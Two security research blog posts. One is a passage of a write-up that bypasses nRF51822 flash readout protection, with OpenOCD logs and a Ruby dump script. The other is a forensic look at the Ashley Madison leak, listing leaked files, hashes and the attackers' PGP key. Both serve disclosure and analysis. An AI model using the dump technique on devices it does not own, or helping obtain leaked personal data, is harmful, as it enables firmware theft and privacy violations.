Nope, r3 gets the same value, so we’re not interested in the first instruction. Let’s continue on to the second:

> reg r0 0x00000000
r0 (/32): 0x00000000
> reg r1 0x00000000
r1 (/32): 0x00000000
> reg r2 0x00000000
r2 (/32): 0x00000000
> reg r3 0x00000000
r3 (/32): 0x00000000
> reg r4 0x00000000
r4 (/32): 0x00000000
> reg r5 0x00000000
r5 (/32): 0x00000000
> reg r6 0x00000000
r6 (/32): 0x00000000
> reg r7 0x00000000
r7 (/32): 0x00000000
> reg r8 0x00000000
r8 (/32): 0x00000000
> reg r9 0x00000000
r9 (/32): 0x00000000
> reg r10 0x00000000
r10 (/32): 0x00000000
> reg r11 0x00000000
r11 (/32): 0x00000000
> reg r12 0x00000000
r12 (/32): 0x00000000
> reg sp 0x00000000
sp (/32): 0x00000000
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114d0 msp: 00000000
> reg
===== arm v7m registers
(0) r0 (/32): 0x00000000
(1) r1 (/32): 0x00000000
(2) r2 (/32): 0x00000000
(3) r3 (/32): 0x20001BD0
(4) r4 (/32): 0x00000000
(5) r5 (/32): 0x00000000
(6) r6 (/32): 0x00000000
(7) r7 (/32): 0x00000000
(8) r8 (/32): 0x00000000
(9) r9 (/32): 0x00000000
(10) r10 (/32): 0x00000000
(11) r11 (/32): 0x00000000
(12) r12 (/32): 0x00000000
(13) sp (/32): 0x00000000
(14) lr (/32): 0xFFFFFFFF
(15) pc (/32): 0x000114D0
(16) xPSR (/32): 0xC1000000
(17) msp (/32): 0x00000000
(18) psp (/32): 0xFFFFFFFC
(19) primask (/1): 0x00
(20) basepri (/8): 0x00
(21) faultmask (/1): 0x00
(22) control (/2): 0x00
===== Cortex-M DWT registers
(23) dwt_ctrl (/32)
(24) dwt_cyccnt (/32)
(25) dwt_0_comp (/32)
(26) dwt_0_mask (/4)
(27) dwt_0_function (/32)
(28) dwt_1_comp (/32)
(29) dwt_1_mask (/4)
(30) dwt_1_function (/32)

OK, this time r3 was set to 0x20001BD0. Is that the value at address zero? Let’s see what happens when we run the second instruction with the registers set to 4:

> reset halt
target state: halted
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114ce msp: 0x20001bd0
> reg r0 0x00000004
r0 (/32): 0x00000004
> reg r1 0x00000004
r1 (/32): 0x00000004
> reg r2 0x00000004
r2 (/32): 0x00000004
> reg r3 0x00000004
r3 (/32): 0x00000004
> reg r4 0x00000004
r4 (/32): 0x00000004
> reg r5 0x00000004
r5 (/32): 0x00000004
> reg r6 0x00000004
r6 (/32): 0x00000004
> reg r7 0x00000004
r7 (/32): 0x00000004
> reg r8 0x00000004
r8 (/32): 0x00000004
> reg r9 0x00000004
r9 (/32): 0x00000004
> reg r10 0x00000004
r10 (/32): 0x00000004
> reg r11 0x00000004
r11 (/32): 0x00000004
> reg r12 0x00000004
r12 (/32): 0x00000004
> reg sp 0x00000004
sp (/32): 0x00000004
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114d0 msp: 0x00000004
> reg
===== arm v7m registers
(0) r0 (/32): 0x00000004
(1) r1 (/32): 0x00000004
(2) r2 (/32): 0x00000004
(3) r3 (/32): 0x000114CD
(4) r4 (/32): 0x00000004
(5) r5 (/32): 0x00000004
(6) r6 (/32): 0x00000004
(7) r7 (/32): 0x00000004
(8) r8 (/32): 0x00000004
(9) r9 (/32): 0x00000004
(10) r10 (/32): 0x00000004
(11) r11 (/32): 0x00000004
(12) r12 (/32): 0x00000004
(13) sp (/32): 0x00000004
(14) lr (/32): 0xFFFFFFFF
(15) pc (/32): 0x000114D0
(16) xPSR (/32): 0xC1000000
(17) msp (/32): 0x00000004
(18) psp (/32): 0xFFFFFFFC
(19) primask (/1): 0x00
(20) basepri (/8): 0x00
(21) faultmask (/1): 0x00
(22) control (/2): 0x00
===== Cortex-M DWT registers
(23) dwt_ctrl (/32)
(24) dwt_cyccnt (/32)
(25) dwt_0_comp (/32)
(26) dwt_0_mask (/4)
(27) dwt_0_function (/32)
(28) dwt_1_comp (/32)
(29) dwt_1_mask (/4)
(30) dwt_1_function (/32)

This time, r3 got 0x00014CD. This value actually strongly implies we’re reading memory. Why? The value is actually the reset vector. According to the Cortex-M0 documentation, the reset vector is at address 4, and when we reset the chip, the PC is set to 0x000114CC (the least significant bit is set in the reset vector, changing C to D, because the Cortex-M0 operates in Thumb mode).

Let’s try reading the two instructions we just were testing:

reset halt
target state: halted
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114ce msp: 0x20001bd0
> reg r0 0x000114cc
r0 (/32): 0x000114CC
> reg r1 0x000114cc
r1 (/32): 0x000114CC
> reg r2 0x000114cc
r2 (/32): 0x000114CC
> reg r3 0x000114cc
r3 (/32): 0x000114CC
> reg r4 0x000114cc
r4 (/32): 0x000114CC
> reg r5 0x000114cc
r5 (/32): 0x000114CC
> reg r6 0x000114cc
r6 (/32): 0x000114CC
> reg r7 0x000114cc
r7 (/32): 0x000114CC
> reg r8 0x000114cc
r8 (/32): 0x000114CC
> reg r9 0x000114cc
r9 (/32): 0x000114CC
> reg r10 0x000114cc
r10 (/32): 0x000114CC
> reg r11 0x000114cc
r11 (/32): 0x000114CC
> reg r12 0x000114cc
r12 (/32): 0x000114CC
> reg sp 0x000114cc
sp (/32): 0x000114CC
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114d0 msp: 0x000114cc
> reg r3
r3 (/32): 0x681B4B13

The r3 register has the value 0x681B4B13. That disassembles to two load instructions, the first relative to the pc, the second relative to r3:

$ printf "x13x4bx1bx68" > /tmp/armcode

$ arm-none-eabi-objdump -D --target binary -Mforce-thumb -marm /tmp/armcode




/tmp/armcode:     file format binary

Disassembly of section .data:

00000000 <.data>:
   0:   4b13            ldr     r3, [pc, #76]   ; (0x50)
   2:   681b            ldr     r3, [r3, #0]

In case you don’t read Thumb assembly, that second instruction is a load register instruction (ldr); it’s taking an address from the r3 register, adding an offset of zero, and loading the value from that address into the r3 register.

We’ve found a load instruction that lets us read memory from an arbitrary address. Again, this is useful because only code in the protected memory can read the protected memory. The trick is that being able to read and write CPU registers using OpenOCD lets us execute those instructions however we want. If we hadn’t been lucky enough to find the load word instruction so close to the reset vector, we could have reset the processor and written a value to the pc register (jumping to an arbitrary address) to try more instructions. Since we were lucky though, we can just step through the first instruction.

Dumping the Firmware

Now that we’ve found a load instruction that we can execute to read from arbitrary addresses, our firmware dumping process is as follows:

  1. Reset the CPU
  2. Single step (we don’t care about the first instruction)
  3. Put the address we want to read from into r3
  4. Single step (this loads from the address in r3 to r3)
  5. Read the value from r3

Here’s a ruby script to automate the process:

#!/usr/bin/env ruby

require 'net/telnet'

debug = Net::Telnet::new("Host" => "localhost", 
                         "Port" => 4444)

dumpfile = File.open("dump.bin", "w")

((0x00000000/4)...(0x00040000)/4).each do |i|
  address = i * 4
  debug.cmd("reset halt")
  debug.cmd("step")
  debug.cmd("reg r3 0x#{address.to_s 16}")
  debug.cmd("step")
  response = debug.cmd("reg r3")
  value = response.match(/: 0x([0-9a-fA-F]{8})/)[1].to_i 16
  dumpfile.write([value].pack("V"))
  puts "0x%08x:  0x%08x" % [address, value]
end

dumpfile.close
debug.close

The ruby script connects to the OpenOCD user interface, which is available via a telnet connection on localhost. It then loops through addresses that are multiples of four, using the load instruction we found to read data from those addresses.

Vendor Response

IncludeSec contacted NordicSemi via their customer support channel where they received a copy of this blog post. From NordicSemi customer support: We take this into consideration together with other factors, and the discussions around this must be kept internal.”
We additionally reached out to the only engineer who had security in his title and he didn’t really want a follow-up Q&A call or further info and redirected us to only talk to customer support. So that’s about all we can do for coordinated disclosure on our side.

Conclusion

Once we have a copy of the firmware image, we can do whatever disassembly or reverse engineering we want with it. We can also now disable the chip’s PALL protection in order to more easily debug the code. To disable PALL, you need to erase the chip, but that’s not a problem since we can immediately re-flash the chip using the dumped firmware. Once that the chip has been erased and re-programmed to disable the protection we can freely use the debugger to: read and write RAM, set breakpoints, and so on. We can even attach GDB to OpenOCD, and debug the firmware that way.

The technique described here won’t work on all microcontrollers or SoCs; it only applies to situations where you have access to a debugging interface that can read and write CPU registers but not protected memory. Despite the limitation though, the technique can be used to dump firmware from nRF51822 chips and possibly others that use similar protections. We feel this is a vulnerability in the design of the nRF51822 code protection.

Are you using other cool techniques to dump firmware? Do you know of any other microcontrollers or SoCs that might be vulnerable to this type of code protection bypass? Let us know in the comments.

The post Firmware dumping technique for an ARM Cortex-M0 SoC appeared first on Include Security Research Blog.

A light-weight forensic analysis of the AshleyMadison Hack

19 August 2015 at 14:13

———–[Intro]

So Ashley Madison(AM) got hacked, it was first announced about a month ago and the attackers claimed they’d drop the full monty of user data if the AM website did not cease operations. The AM parent company Avid Life Media(ALM) did not cease business operations for the site and true to their word it seems the attackers have leaked everything they promised on August 18th 2015 including:

  • full database dumps of user data
  • emails
  • internal ALM documents
  • as well as a limited number of user passwords

Back in college I used to do forensics contests for the “Honey Net Project” and thought this might be a fun nostalgic trip to try and recreate my pseudo-forensics investigation style on the data within the AM leak.

Disclaimer: I will not be releasing any personal or confidential information
within this blog post that may be found in the AM leak. The purpose of
this blog post is to provide an honest holistic forensic analysis and minimal
statistical analysis of the data found within the leak. Consider this a
journalistic exploration more than anything.

Also note, that the credit card files were deleted and not reviewed as part of this write-up

———–[Grabbing the Leak]

First we go find where on the big bad dark web the release site is located. Thankfully knowing a shady guy named Boris pays off for me, and we find a torrent file for the release of the August 18th Ashley Madison user data dump. The torrent file we found has the following SHA1 hash.
e01614221256a6fec095387cddc559bffa832a19  impact-team-ashley-release.torrent

After extracting all the files we have the following sizes and
file hashes for evidence audit purposes:

$  du -sh *
4.0K    74ABAA38.txt
9.5G    am_am.dump
2.6G    am_am.dump.gz
4.0K    am_am.dump.gz.asc
13G     aminno_member.dump
3.1G    aminno_member.dump.gz
4.0K    aminno_member.dump.gz.asc
1.7G    aminno_member_email.dump
439M    aminno_member_email.dump.gz
4.0K    aminno_member_email.dump.gz.asc
111M    ashleymadisondump/
37M     ashleymadisondump.7z
4.0K    ashleymadisondump.7z.asc
278M    CreditCardTransactions.7z
4.0K    CreditCardTransactions.7z.asc
2.3G    member_details.dump
704M    member_details.dump.gz
4.0K    member_details.dump.gz.asc
4.2G    member_login.dump
2.7G    member_login.dump.gz
4.0K    member_login.dump.gz.asc
4.0K    README
4.0K    README.asc

$ sha1sum *
a884c4fcd61e23aecb80e1572254933dc85e2b4a  74ABAA38.txt
e4ff3785dbd699910a512612d6e065b15b75e012  am_am.dump
e0020186232dad71fcf92c17d0f11f6354b4634b  am_am.dump.gz
b7363cca17b05a2a6e9d8eb60de18bc98834b14e  am_am.dump.gz.asc
d412c3ed613fbeeeee0ab021b5e0dd6be1a79968  aminno_member.dump
bc60db3a78c6b82a5045b797e6cd428f367a18eb  aminno_member.dump.gz
8a1c328142f939b7f91042419c65462ea9b2867c  aminno_member.dump.gz.asc
2dcb0a5c2a96e4f3fff5a0a3abae19012d725a7e  aminno_member_email.dump
ab5523be210084c08469d5fa8f9519bc3e337391  aminno_member_email.dump.gz
f6144f1343de8cc51dbf20921e2084f50c3b9c86  aminno_member_email.dump.gz.asc
sha1sum: ashleymadisondump: Is a directory
26786cb1595211ad3be3952aa9d98fbe4c5125f9  ashleymadisondump.7z
eb2b6f9b791bd097ea5a3dca3414a3b323b8ad37  ashleymadisondump.7z.asc
0ad9c78b9b76edb84fe4f7b37963b1d956481068  CreditCardTransactions.7z
cb87d9fb55037e0b1bccfe50c2b74cf2bb95cd6c  CreditCardTransactions.7z.asc
11e646d9ff5d40cc8e770a052b36adb18b30fd52  member_details.dump
b4849cec980fe2d0784f8d4409fa64b91abd70ef  member_details.dump.gz
3660f82f322c9c9e76927284e6843cbfd8ab8b4f  member_details.dump.gz.asc
436d81a555e5e028b83dcf663a037830a7007811  member_login.dump
89fbc9c44837ba3874e33ccdcf3d6976f90b5618  member_login.dump.gz
e24004601486afe7e19763183934954b1fc469ef  member_login.dump.gz.asc
4d80d9b671d95699edc864ffeb1b50230e1ec7b0  README
a9793d2b405f31cc5f32562608423fffadc62e7a  README.asc

———–[Attacker Identity & Attribution]

The attackers make it clear they have no desire to bridge their dark web identities with their real-life identities and have taken many measures to ensure this does not occur.

The torrent file and messaging were released via the anonymous Tor network through an Onion web server which serves only HTML/TXT content. If the attacker took proper OPSEC precautions while setting up the server, law enforcement and AM may never find them. That being said hackers have been known to get sloppy and slip up their OPSEC. The two most famous cases of this were when Sabu of Anonymous and separately the Dread Pirate Roberts of SilkRoad; were both caught even though they primarily used Tor for their internet activities.

Within the dump we see that the files are signed with PGP. Signing a file in this manner is a way of saying “I did this” even though we don’t know the real-life identity of the person/group claiming to do this is (there is a bunch of crypto and math that makes this possible.) As a result we can be more confident that if there are files which are signed by this PGP key, then it was released by the same person/group.

In my opinion, this is done for two reasons. First the leaker wants to claim responsibility in an identity attributable manner, but not reveal their real-life identity. Secondly, the leaker wishes to dispel statements regarding “false leaks” made by the Ashley Madison team. The AM executive and PR teams have been in crises communications mode explaining that there have been many fake leaks.

The “Impact Team” is using the following public PGP key to sign their releases.

$ cat ./74ABAA38.txt

-----BEGIN PGP PUBLIC KEY BLOCK-----

Version: GnuPG v1.4.12 (GNU/Linux)




mQINBFW25a4BEADt5OKS5F36aACyyPc4UMZAnhLnbImhxv5A2n7koTKg1QhyA1mI
InLLriKW3GR0Y4Fx+84pvjbYdoJAnuqMemI0oP+2VAJqwC0LYVVcFHKK6ZElYiN8
4/3e5WWYv6vzrHwB+3NbQ1O9bbUjgk9ky2RsdTe+vDBhKwKS0kPSb28h0oMpAs87
pJcgWZ57jjtvyUEIKXQZAqLvFo5xayS8dEp8tRgNLauQ0SafKGsxjW5cRd2Ok3Z5
QtIS44WnYECe3tqqFYSOo4kdHBeswC8zaKapYaNzxsHw9msdZvx/rkrMgXtJye/o
vmf2RdLIcvqK0Nwf1LDLhweCBP61wVn8gWqSrzww+as1ObE6b64hYKHFzdIMcqJ3
sbAErRrfZMqZ6ihWnlSjzDDx2L3n5T16ZIDxGx5Mt0KDYIo8RqDdF+VKLCT7Eq/C
g/Ax+06Eez4rVnY+xeW6Tj+1iBAlrGRIcRHCX89fNwLxr4Bcq/q1KKrCwVsgonBK
+3Mzzs2/b9XQ/Z6bDHFnMWUTDhomBmNcZOz9sHrZZI9XUzx/bfS6CoQ3MIqDhNM+
l7cKZ/Icfs6IDoOsYIS3QeTWC8gv3IBTvtfKFnf1o6JnkP0Qv6SrckslztNA4HDL
2iIMMGs34vDc11ddTzMBBkig1NgtiaHqHhG5T8OoOD9c3hEmTQzir7iCPQARAQAB
tCRJbXBhY3QgVGVhbSA8aW1wYWN0dGVhbUBtYWlsdG9yLm5ldD6JAjgEEwECACIF
AlW25a4CGwMGCwkIBwMCBhUIAgkKCwQWAgMBAh4BAheAAAoJECQ3PNV0q6o445UQ
AKYIVyrpVKKBA4jliarqngKvkEBRd62CXHY42ZdjFmubLvRw5nC0nDdGUyGPRYOl
0RddL2C7ROqW9lCYfNl3BAQYEXMADDjoBMEQkepIxeIVehat46ksbJuFZ0+uI6EB
aVcJCR4S2C+hJP09q9tn/7RKacIolfeT0+s9IteFghKKK0c8Aot52A/hExrqjldo
fsMX6liSFQjDQpPhQpqiAJ8z9N3eeFwcAAc/gqNz9bE0Wug/OXh0OAHUQk3fS57a
uIi8medOr+kAqHziuO79+5Hkachsp+8c58jBtIzZM4bO6e42aEa2yHv0FGG5MhoB
x7MH0ympFdwbgebpF6kpH371GIsJcyumwQ3Yn4Sy2kp2XmB8xOQo2W8tWRtLW1dI
yGAXHXXy5UI5FJek7G1KvQXCy4pa756RGDFiqdqigq0KC27A/at02M8CP6R9RxC9
YSnru0Qrl7JeATekWM3w8sKs8r6yMEDFAcpK2NHaYzF6/o6t/HEqUWD41DZ2cqqg
9i4uoXpkAB3vAG/snNg1B8g89b3vbVUf6hSIcU89G3lgj9hh87Q/TSsISRJ+yq0N
sLEeVmDmOdf+xb44g3RuRJ9yh0h3j8jdQOq0FvvwW3UHKIVDQlFB3kgHY478TCIa
5MMCtMovGv/ukGKlU8aELKV0/sVsliMh8HDdFQICTd0MuQINBFW25a4BEADIh8Vg
tMGfByY/+IgPd9l3u0I4FZLHqKGKOIpfFEeA31jPAhfOqQyBRcnEN/TxLwJ8NLnL
+GdQ+0z1YncZPxpHU/z8zyMwGpZM/hMbkixA9ysyu06S7hna4YMfifT+lOe1lGSo
Tz3Fz1u2OGH+2UzVk5+Rv0FqDl6X1ZoqhMTswzW0jYR7JLLJip5MTMrLD0rSl0b5
a2XvF9Tpjzy9KWubsJk4W7x00Egu2EU9NhEZXaY18H3rxvYgXT7JMjq/y+IUp2Cd
Bv/XCNWmzl66/ZSLC8hzlcxmAYpmBkxafYNdptMeVzsH/xHmN2zSFjuBNx0Mkk+R
TrOxK/boS9onrGsSQ3zItWJAmodo2qYFjlirtu9pURSdYEINNQ5DgWymg43iAIfp
Xp5/yGBj4BlWE80qEAVsBB2BIRs7QHvpd34xETP08dXMsswIrMn/XxvHumyPoimj
mcNvIpvnAZqt6xppo6BSZ3y7MU4cSIRsZzLuSvkwGk97Jv2sMNvXlPRxzpU9ozsI
iYJAk6/n8kbQiTJk/SeiCTbf6e+BzbZbgIE3O9iPKhfW+6zWjC4TL+lBeyWTy1PP
PcQTT+najDqIwysz2BFuPozwuUQsnfQnyRytSjcI5m1fDoYpJPH8NNRIu9lzp+RN
YENVKXiCfnUCMCnSzxP3Kij3Wt227JLZQqnBUQARAQABiQIfBBgBAgAJBQJVtuWu
AhsMAAoJECQ3PNV0q6o4C2EP/29Bis5Skt9NxHVUBpC1OgRL8V+JD5TjNurMT6Pu
E75szLsMZ84z0MQ6n74ADIgEuznPDIa9hMZGK9DwlsQfFOlC/jyTYxSpgAgN6LAl
qoJztVzLRnMd2gZjOj6wajUy616b8u3Q3zovHcEKll5niUyNwHXovZcCzukFqJBF
a3JU/tkPvBuj2PEWf4ytuO6He2ERuSnsi+7mil8rTAAV/PPy7N2R/T7OUa6ERoGg
hqIGythWizRtZBVPRzush+8L181GBU2ps7nJ1resZ7T0OsCFL67J6t8r8IpmjWWt
fiiV05E71UAyNWLOWriS57qAwNcQ0W2UYKkFFKor+oWaBB+hCpvb8Za5867wpH8l
O6gpS/G17e+MKHTn60hw64xIVFJn7pka+OdAINjPRo5B5qVyvM3puEjRepx1piOG
HKOan00quI0dhF2Gia59zrBHK/agdF4FjkJSjER8uf/jJpo184p38zuQ7kyMXUxY
ExpGcVMVjVOoWKVRPGXYEz2nc9HIZ6mHbvhzsWQEAVwwIxZCos5dW1AMW3Otn30A
uFqPsx4jh/ANGhqUASz18bBrZ8DW3zceVs2zelkMpdL0z7ifU/UNn2rtDlpgLwFl
9ggUtPwXnSxqB7doSxfJyPJUum+bZxMb4Iq5BNNa/tme7TeWGl9bmsVwcQXSQlY2
uZnr
=v0qe
-----END PGP PUBLIC KEY BLOCK-----

The key has the following Meta-data below.

Old: Public Key Packet(tag 6)(525 bytes)
        Ver 4 - new
        Public key creation time - Mon Jul 27 22:15:10 EDT 2015
        Pub alg - RSA Encrypt or Sign(pub 1)
        RSA n(4096 bits) - ...
        RSA e(17 bits) - ...
Old: User ID Packet(tag 13)(36 bytes)
        User ID - Impact Team <[email protected]>
Old: Signature Packet(tag 2)(568 bytes)
        Ver 4 - new
        Sig type - Positive certification of a User ID and Public Key packet(0x13).
        Pub alg - RSA Encrypt or Sign(pub 1)
        Hash alg - SHA1(hash 2)
        Hashed Sub: signature creation time(sub 2)(4 bytes)
                Time - Mon Jul 27 22:15:10 EDT 2015
        Hashed Sub: key flags(sub 27)(1 bytes)
                Flag - This key may be used to certify other keys
                Flag - This key may be used to sign data
        Hashed Sub: preferred symmetric algorithms(sub 11)(5 bytes)
                Sym alg - AES with 256-bit key(sym 9)
                Sym alg - AES with 192-bit key(sym 8)
                Sym alg - AES with 128-bit key(sym 7)
                Sym alg - CAST5(sym 3)
                Sym alg - Triple-DES(sym 2)
        Hashed Sub: preferred hash algorithms(sub 21)(5 bytes)
                Hash alg - SHA256(hash 8)
                Hash alg - SHA1(hash 2)
                Hash alg - SHA384(hash 9)
                Hash alg - SHA512(hash 10)
                Hash alg - SHA224(hash 11)
        Hashed Sub: preferred compression algorithms(sub 22)(3 bytes)
                Comp alg - ZLIB <RFC1950>(comp 2)
                Comp alg - BZip2(comp 3)
                Comp alg - ZIP <RFC1951>(comp 1)
        Hashed Sub: features(sub 30)(1 bytes)
                Flag - Modification detection (packets 18 and 19)
        Hashed Sub: key server preferences(sub 23)(1 bytes)
                Flag - No-modify
        Sub: issuer key ID(sub 16)(8 bytes)
                Key ID - 0x24373CD574ABAA38
        Hash left 2 bytes - e3 95
        RSA m^d mod n(4096 bits) - ...
                -> PKCS-1
Old: Public Subkey Packet(tag 14)(525 bytes)
        Ver 4 - new
        Public key creation time - Mon Jul 27 22:15:10 EDT 2015
        Pub alg - RSA Encrypt or Sign(pub 1)
        RSA n(4096 bits) - ...
        RSA e(17 bits) - ...
Old: Signature Packet(tag 2)(543 bytes)
        Ver 4 - new
        Sig type - Subkey Binding Signature(0x18).
        Pub alg - RSA Encrypt or Sign(pub 1)
        Hash alg - SHA1(hash 2)
        Hashed Sub: signature creation time(sub 2)(4 bytes)
                Time - Mon Jul 27 22:15:10 EDT 2015
        Hashed Sub: key flags(sub 27)(1 bytes)
                Flag - This key may be used to encrypt communications
                Flag - This key may be used to encrypt storage
        Sub: issuer key ID(sub 16)(8 bytes)
                Key ID - 0x24373CD574ABAA38
        Hash left 2 bytes - 0b 61
        RSA m^d mod n(4095 bits) - ...
                -> PKCS-1

We can verify the released files are attributable to the PGP public key
in question using the following commands:

$ gpg --import ./74ABAA38.txt
$ gpg --verify ./member_details.dump.gz.asc ./member_details.dump.gz
gpg: Signature made Sat 15 Aug 2015 11:23:32 AM EDT using RSA key ID 74ABAA38
gpg: Good signature from "Impact Team <[email protected]>"
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: 6E50 3F39 BA6A EAAD D81D  ECFF 2437 3CD5 74AB AA38

This also tells us at what date the dump was signed and packaged.

———–[Catching the attackers]

The PGP key’s meta-data shows a user ID for the mailtor dark web email service. The last known location of which was:
http://mailtoralnhyol5v.onion

Don’t bother emailing the email address found in the PGP key as it does not have a valid MX record. The fact that this exists at all seems to be one of those interesting artifact of what happens when Internet tools like GPG get used on the dark web.

If the AM attackers were to be caught; here (in no particular order) are the most likely ways this would happen:

  • The person(s) responsible tells somebody. Nobody keeps something like this a secret, if the attackers tell anybody, they’re likely going to get caught.
  • If the attackers review email from a web browser, they might get revealed via federal law enforcement or private investigation/IR teams hired by AM. The FBI is known to have these capabilities.
  • If the attackers slip up with their diligence in messaging only via TXT and HTML on the web server. Meta-data sinks ships kids — don’t forget.
  • If the attackers slip up with their diligence on configuring their server. One bad config of a web server leaks an internal IP, or worse!
  • The attackers slipped up during their persistent attack against AM and investigators hired by AM find evidence leading back to the attackers.
  • The attackers have not masked their writing or image creation style and leave some semantic finger print from which they can be profiled.

If none of those  things happen, I don’t think these attackers will ever be caught. The cyber-crime fighters have a daunting task in front of them, I’ve helped out a couple FBI and NYPD cyber-crime fighters and I do not envy the difficult and frustrating job they have — good luck to them! Today we’re living in the Wild West days of the Internet.

———–[Leaked file extraction and evidence gathering]

Now to document the information seen within this data leak we proceed with a couple of commands to gather the file size and we’ll also check the file hashes to ensure the uniqueness of the files. Finally we review the meta-data of some of the compressed files. The meta-data shows the time-stamp embedded into the various compressed files. Although meta-data can easily be faked, it is usually not.

Next we’ll extract these files and examine their file size to take a closer look.

$ 7z e ashleymadisondump.7z

We find within the extracted 7zip file another 7zip file
“swappernet_User_Table.7z” was found and also extracted.

We now have the following files sizes and SHA1 hashes for evidence
integrity & auditing purposes:

$ du -sh ashleymadisondump/*
68K     20131002-domain-list.xlsx
52K     ALMCLUSTER (production domain) computers.txt
120K    ALMCLUSTER (production domain) hashdump.txt
68K     ALM - Corporate Chart.pptx
256K    ALM Floor Plan - ports and names.pdf
8.0M    ALM - January 2015 - Company Overview.pptx
1.8M    ALM Labs Inc. Articles of Incorporation.pdf
708K    announcement.png
8.0K    Areas of concern - customer data.docx
8.0K    ARPU and ARPPU.docx
940K    Ashley Madison Technology Stack v5(1).docx
16K     Avid Life Media - Major Shareholders.xlsx
36K     AVIDLIFEMEDIA (primary corporate domain) computers.txt
332K    AVIDLIFEMEDIA (primary corporate domain) user information and hashes.txt
1.7M    Avid Org Chart 2015 - May 14.pdf
24K     Banks.xlsx
6.1M    Copies of Option Agreements.pdf
8.0K    Credit useage.docx
16K     CSF Questionnaire (Responses).xlsx
132K    Noel's loan agreement.pdf
8.0K    Number of traveling man purchases.docx
1.5M    oneperday_am_am_member.txt
940K    oneperday_aminno_member.txt
672K    oneperday.txt
44K     paypal accounts.xlsx
372K    [email protected]_20101103_133855.pdf
16K     q2 2013 summary compensation detail_managerinput_trevor-s team.xlsx
8.0K    README.txt
8.0K    Rebill Success Rate Queries.docx
8.0K    Rev by traffic source rebill broken out.docx
8.0K    Rev from organic search traffic.docx
4.0K    Sales Queries
59M     swappernet_QA_User_Table.txt  #this was extracted from swappernet_User_Table.7z in the same dir
17M     swappernet_User_Table.7z
$ sha1sum ashleymadisondump/*
f0af9ea887a41eb89132364af1e150a8ef24266f  20131002-domain-list.xlsx
30401facc68dab87c98f7b02bf0a986a3c3615f0  ALMCLUSTER (production domain) computers.txt
c36c861fd1dc9cf85a75295e9e7bcf6cf04c7d2c  ALMCLUSTER (production domain) hashdump.txt
6be635627aa38462ebcba9266bed5b492a062589  ALM - Corporate Chart.pptx
4dec7623100f59395b68fd13d3dcbbff45bef9c9  ALM Floor Plan - ports and names.pdf
601e0b462e1f43835beb66743477fe94bbda5293  ALM - January 2015 - Company Overview.pptx
d17cb15a5e3af15bc600421b10152b2ea1b9c097  ALM Labs Inc. Articles of Incorporation.pdf
1679eca2bc172cba0b5ca8d14f82f9ced77f10df  announcement.png
6a618e7fc62718b505afe86fbf76e2360ade199d  Areas of concern - customer data.docx
91f65350d0249211234a52b260ca2702dd2eaa26  ARPU and ARPPU.docx
50acee0c8bb27086f12963e884336c2bf9116d8a  Ashley Madison Technology Stack v5(1).docx
71e579b04bbba4f7291352c4c29a325d86adcbd2  Avid Life Media - Major Shareholders.xlsx
ef8257d9d63fa12fb7bc681320ea43d2ca563e3b  AVIDLIFEMEDIA (primary corporate domain) computers.txt
ec54caf0dc7c7206a7ad47dad14955d23b09a6c0  AVIDLIFEMEDIA (primary corporate domain) user information and hashes.txt
614e80a1a6b7a0bbffd04f9ec69f4dad54e5559e  Avid Org Chart 2015 - May 14.pdf
c3490d0f6a09bf5f663cf0ab173559e720459649  Banks.xlsx
1538c8f4e537bb1b1c9a83ca11df9136796b72a3  Copies of Option Agreements.pdf
196b1ba40894306f05dcb72babd9409628934260  Credit useage.docx
2c9ba652fb96f6584d104e166274c48aa4ab01a3  CSF Questionnaire (Responses).xlsx
0068bc3ee0dfb796a4609996775ff4609da34acb  Noel's loan agreement.pdf
c3b4d17fc67c84c54d45ff97eabb89aa4402cae8  Number of traveling man purchases.docx
9e6f45352dc54b0e98932e0f2fe767df143c1f6d  oneperday_am_am_member.txt
de457caca9226059da2da7a68caf5ad20c11de2e  oneperday_aminno_member.txt
d596e3ea661cfc43fd1da44f629f54c2f67ac4e9  oneperday.txt
37fdc8400720b0d78c2fe239ae5bf3f91c1790f4  paypal accounts.xlsx
2539bc640ea60960f867b8d46d10c8fef5291db7  [email protected]_20101103_133855.pdf
5bb6176fc415dde851262ee338755290fec0c30c  q2 2013 summary compensation detail_managerinput_trevor-s team.xlsx
5435bfbf180a275ccc0640053d1c9756ad054892  README.txt
872f3498637d88ddc75265dab3c2e9e4ce6fa80a  Rebill Success Rate Queries.docx
d4e80e163aa1810b9ec70daf4c1591f29728bf8e  Rev by traffic source rebill broken out.docx
2b5f5273a48ed76cd44e44860f9546768bda53c8  Rev from organic search traffic.docx
sha1sum: Sales Queries: Is a directory
0f63704c118e93e2776c1ad0e94fdc558248bf4e  swappernet_QA_User_Table.txt
9d67a712ef6c63ae41cbba4cf005ebbb41d92f33  swappernet_User_Table.7z

———–[Quick summary of each of the leaked files]

The following files are MySQL data dumps of the main AM database:

  • member_details.dump.gz
  • aminno_member.dump.gz
  • member_login.dump.gz
  • aminno_member_email.dump.gz
  • CreditCardTransactions.7z

Also included was another AM database which contains user info (separate from the emails):

  • am_am.dump.gz

In the top level directory you can also find these additional files:

  • 74ABAA38.txt
    Impact Team’s Public PGP key used for signing the releases (The .asc files are the signatures)
  • ashleymadisondump.7z
    This contains various internal and corporate private files.
  • README
    Impact Team’s justification for releasing the user data.
  • Various .asc files such as “member_details.dump.gz.asc”
    These are all PGP signature files to prove that one or more persons who are part of the “Impact Team” attackers released them.

Within the ashleymadisondump.7z we can extract and view the following files:

  • Number of traveling man purchases.docx
    SQL queries to investigate high-travel user’s purchases.
  • q2 2013 summary compensation detail_managerinput_trevor-s team.xlsx
    Per-employee compensation listings.
  • AVIDLIFEMEDIA (primary corporate domain) user information and hashes.txt
  • AVIDLIFEMEDIA (primary corporate domain) computers.txt
